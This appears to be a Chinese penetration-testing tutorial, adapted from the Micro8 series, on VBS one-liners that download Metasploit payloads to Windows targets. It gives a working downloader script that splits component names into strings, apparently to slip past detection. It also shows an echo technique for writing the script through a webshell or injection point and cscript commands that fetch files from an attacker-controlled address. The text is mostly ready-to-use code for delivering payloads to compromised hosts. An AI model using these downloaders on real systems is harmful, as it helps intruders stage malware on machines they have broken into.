0x00 前言

参考Micro8系列第三十七课:https://micro8.gitbook.io/micro8/contents-1/31-40/37vbs-yi-ju-hua-xia-zai-payload

参考Micro8系列第三十九课:https://micro8.gitbook.io/micro8/contents-1/31-40/39vbs-yi-ju-hua-xia-zai-payload-bu-chong

0x01 VBS一句话下载payload

一次MSF完整的流程离不开目标机的payload下载与执行。而针对不同环境目标,考虑或者选择不同方式的payload下载与执行。如WebShell下、注入点下、smb 下等。而针对不同的实际环境,来做最好的选择。

在Windows环境下,无论是哪个版本都是支持VBS的。

优点:支持Windows全版本系列。

缺点:对HTTPS不友好。

上传方式写入VBS

保存downfile.vbs:

1
visual basic set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

命令行下执行:

1
cscript downfile.vbs http://192.168.1.115/robots.txt C:\Inetpub\b.txt

但是在实战中,往往是没有上传的条件的,尤其是Windows,此时只能通过echo的方式来写入VBS。

echo方式写入VBS

命令行下执行:

1
2
3
echo set a=createobject(^"adod^"+^"b.stream^"):set
w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile
wsh.arguments(1),2 >>downfile.vbs

VBS参数化下载

在实战中,可能遇到各种奇葩环境导致无法执行或者无法把下载参数带入其中,故补充VBS参数化的下载。

源码如下:

1
visual basic strFileURL = "http://192.168.1.115/robots.txt" strHDLocation = "c:\test\logo.txt" Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = CreateObject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati on Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing